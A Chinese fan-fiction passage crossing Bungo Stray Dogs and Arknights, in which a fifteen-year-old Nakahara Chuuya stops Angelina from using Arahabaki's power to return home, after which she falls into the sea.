作为【惟一的幸存者】来到了陌生的世界,似乎可以就这样开启新生,就像她曾经做过的那样。死亡对她来说并不是终点,她总是在本应结束的节点之后,又多走了好长一段路。 在名为【生】的列车上,她茫然地趴在窗口,看见一个个熟悉的人在名为【死】的终点站下车。而她好像只是路过,在无人理解的痛苦中,接着驶向下一个永不结束的循环。 本应只有一次、无法被反复消费的【死】,似乎在她身上被剥夺了。 而这是目前的中原中也——只有15岁的中原中也无法理解的领域。 “很久很久以前,我以为这是一个馈赠。”安洁莉娜呛咳着血,“它确实是一个馈赠,我到现在都很感激……我很高兴能够遇到大家,我从来不觉得后悔。” 她悬浮在漩涡的中心,仿佛是从中诞生的维纳斯女神。 “但这一次,我想和大家一起。” “中也先生,我想回家……我想和大家在一起,一直在一起。” “开什么玩笑?!” 中原中也咬紧牙关。他手上猛然发力,即使皮肤被混乱的空间切割出裂痕,内脏都要挤压破碎,他也始终没有退缩。 在安洁莉娜惊讶的目光中,他伸出手,无比艰难地抓住了秘杖。 “停下吧。”中原中也困难地说,“你的力量削弱了,所以才想借助‘荒霸吐’回家。” “……” “但你的愿望、从一开始就……”中原中也一个字一个字地往外蹦,不知道究竟是出于重力的挤压还是某种不忍,“不会实现。因为我无法、掌控那家伙——‘荒霸吐’的力量。” “…………” 实相消散在指尖。 漩涡、重力、法术的光芒、在瞳孔中燃烧的火焰,都在同一时间消失了。 “嗯,我知道了。”安洁莉娜笑着,“谢谢你,中也先生。” 没有了重力的支撑,她向海中坠落而去。 乌黑的云压下来,下雨了。